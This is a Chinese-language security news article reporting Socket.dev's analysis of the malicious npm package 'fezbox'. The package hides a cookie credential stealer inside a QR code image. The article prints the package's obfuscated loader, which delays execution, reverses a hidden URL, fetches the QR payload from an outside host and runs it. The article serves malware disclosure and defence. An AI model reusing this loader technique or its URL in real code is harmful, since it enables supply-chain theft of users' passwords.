npm生态系统中出现了一场复杂的恶意软件攻击活动,其利用创新的隐写技术将恶意代码隐藏在二维码中。
这个名为“fezbox”的恶意软件包,伪装成合法的JavaScript/TypeScript实用工具库,同时通过巧妙伪装的二维码有效载荷秘密执行窃取密码的操作。
此次攻击代表着供应链威胁的重大演变,表明网络犯罪分子正采用越来越具创造性的方法来绕过安全措施并躲避检测系统。
fezbox包伪装成一个全面的实用工具库,提供TypeScript支持、性能优化和模块化功能。
根据其文档说明,该软件包提供了按功能模块组织的常用辅助函数,使开发者能够只导入必要的组件。
虽然README文件提到了一个用于生成和解析二维码的二维码模块,但它刻意省略了该包从远程URL获取二维码并执行嵌入的恶意代码这一关键细节。
Socket.dev的分析师在检测到该软件包代码库中的可疑行为模式后,识别出了这种恶意软件。
安全团队发现了多层混淆技术,包括字符串反转、代码压缩,以及使用隐写二维码来隐藏最终有效载荷这一新颖做法。
发现时,这个恶意包仍在npm注册表中处于活跃状态,这促使Socket.dev向npm安全团队请求立即将其移除,并暂停该威胁行为者的账户。
高级隐写载荷投递
这种恶意软件采用复杂的多阶段执行流程,首先进行环境检查和定时延迟,以规避沙箱检测。
初始的恶意代码包含特定于浏览器的条件语句,用于验证window和document对象的存在,确保仅在合法的浏览器环境中执行。
当条件满足时,恶意软件会等待120秒,然后启动有效载荷检索过程。
核心恶意功能围绕一个反转的URL字符串展开,该字符串隐藏了隐写二维码的位置:-
(function () {
if (n.isDevelopment() || c.chance(2 / 3))
return;
setTimeout(async () => {
const loader = new d.QRCodeScriptLoader();
const t = await loader.parseQRCodeFromUrl(
"gpj.np6f7h_ffe7cdb1b812207f70f027671c18c25b/6177675571v/daolpu/egami/qsqbneuhd/moc.yrani"
.split("")
.reverse()
.join("")
);
loader.executeCode(t);
}, 120 * 1e3);
})();
当该字符串反转后,会解析为一个由Cloudinary托管的包含最终恶意载荷的二维码图像。这个二维码本身充当隐写容器,隐藏着能从浏览器Cookie中提取用户名和密码的JavaScript代码。
一旦解码,该有效载荷会尝试定位包含身份验证凭据的Cookie,特别是使用额外的字符串混淆技术搜索“用户名”和“密码”字段。
提取到的凭据随后通过HTTPS POST请求被窃取到托管在云平台服务Railway上的命令与控制服务器。
这种多层次的方法——结合了环境规避、时间延迟、字符串反转、隐写隐藏和凭证提取——代表了基于npm的供应链攻击的一种复杂演变,安全团队必须做好防御准备。
1. 本版块文章内容及资料部分来源于网络,不代表本站观点,不对其真实性负责,也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传,本站仅提供交流平台,不为该类内容的版权负责。
3. 本版块提供的信息仅作参考,不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容,请及时与我们联系,我们会尽快修改或删除。
5. 使用者违规、不可抗力(如黑客攻击)或第三方擅自转载引发的争议,联盟不承担责任。
6. 联盟可修订本声明,官网发布即生效,继续使用视为接受新条款。